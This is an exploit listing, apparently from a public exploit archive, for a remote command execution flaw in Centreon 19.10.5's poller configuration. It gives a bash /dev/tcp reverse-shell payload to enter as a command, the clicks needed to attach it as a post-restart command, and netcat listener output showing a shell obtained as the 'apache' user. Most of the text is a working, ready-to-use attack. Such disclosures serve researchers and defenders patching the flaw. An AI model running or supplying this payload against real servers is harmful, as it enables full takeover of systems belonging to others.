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Centreon 19.10.5 Remote Command Execution

Centreon 19.10.5 Remote Command Execution
Posted Jan 29, 2020
Authored by Fabien Aunay, Omri Baso

Centreon version 19.10.5 suffers from a Pollers remote command execution vulnerability.

tags | exploit, remote
SHA-256 | 824b22c2f352d66d1fac5582a1d6e01a40daed3d2d240e0e289674e34e783629

Centreon 19.10.5 Remote Command Execution

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# Exploit Title: Centreon 19.10.5 - 'Pollers' Remote Command Execution
# Date: 2020-01-27
# Exploit Author: Omri Baso, Fabien Aunay
# Vendor Homepage: https://www.centreon.com/
# Software Link: https://github.com/centreon/centreon
# Version: 19.10.5
# Tested on: CentOS 7.7
# CVE : -


Centreon 19.10.5 Remote Command Execution Misc

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User input isn't sanitized for safe use - and it is possible to gain a Remote Code Execution of the server
hosting the Centreon Service leading to a full server takeover with the user "apache"

Steps:
1.) <BASEURL>/centreon/main.php?p=60803&type=3
Here we create the Command - can also be found under
Configuration > Commands > Miscellaneous
we Press "Add" -
Command Name: "misc"
Payload: 0<&121-;exec 121<>/dev/tcp/127.0.0.1/1234;sh <&121 >&121 2>&121

2.) go to: <BASEURL>/centreon/main.php?p=60901
Configuration > Pollers
Open "Central" Poller
add on "Post-Restart command"
the command "misc" we created
make Status "Enabled"

3.) Check the box "Post generation command" in the "Export Configuration" Tab
3.1) Restart Poller and get Shell.




┌─[root@vps]─[~]
└──╼ #nc -lnvp 1234
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:49184.
whoami
apache
id
uid=48(apache) gid=48(apache) groups=48(apache),990(centreon-engine),992(centreon-broker),993(nagios),994(centreon)
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